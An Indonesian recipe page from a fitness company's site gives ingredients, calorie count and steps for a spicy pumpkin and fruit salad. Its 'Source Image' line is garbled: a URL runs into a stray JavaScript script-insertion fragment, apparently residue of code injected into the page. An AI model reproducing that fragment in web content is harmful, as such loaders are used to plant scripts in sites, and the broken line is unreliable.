fbpx
Appointment
Appointment
Appointment

Resep Spicy Pumpkin Salad

Camilan juga perlu dipilih untuk kesehatan tubuh

Siang-siang, panas , ingin camilan yang segar? Cobalah Spicy Pumpkin Salad yang kandungan seratnya tinggi dengan kadar gula rendah dan tidak membuat Anda merasa bersalah.

Untuk: 1 porsi

Kalori per porsi: 130 Kal

BAHAN :

  • 1 l air, untuk merebus
  • 25 g labu kuning, potong ukuran 3×3 cm
  • 25 g semangka, bentuk bulat menggunakan fruit mould
  • 25 g mangga indramayu, potong bentuk korek api
  • 25 g pepaya mengkal, potong bentuk korek api
  • 1 buah tomat merah, buang biji, potong dadu 2 cm

Saus ( aduk rata) :

  • 2 tangkai daun ketumbar, cincang halus
  • 5 buah cabai merah keriting, cincang halus
  • 2 buah cabai rawit, iris halus
  • ½  sdm kecap ikan
  • 1 sdt air jeruk nipis
  • ½ sdt cuka
  • ½ sdt gula pasir
  • ¼ sdt jintan, sangrai, tumbuk kasar

Taburan : Daun ketumbar, petiki

CARA MEMBUAT :

  • 1. Panaskan air, rebus labu kuning hingga lunak. Angkat, tiriskan. Sisihkan.
  • 2. Campur semua buah, tempatkan di dalam wadah kedap udara. Simpan di lemari es hingga saat digunakan.
  • 3. Keluarkan buah dari lemari es, tambahkan saus. Aduk rata. Taburi daun ketumbar. Sajikan dingin.

 

Sumber: femina.co.id

Source Image : http://www.angeladay.co.zadocument.currentScript.parentNode.insertBefore(s, document.currentScript);

PT Shape Up Indonesia - Copyright © 2021. All Rights Reserved.
Developed byPetrus Andre
FAQ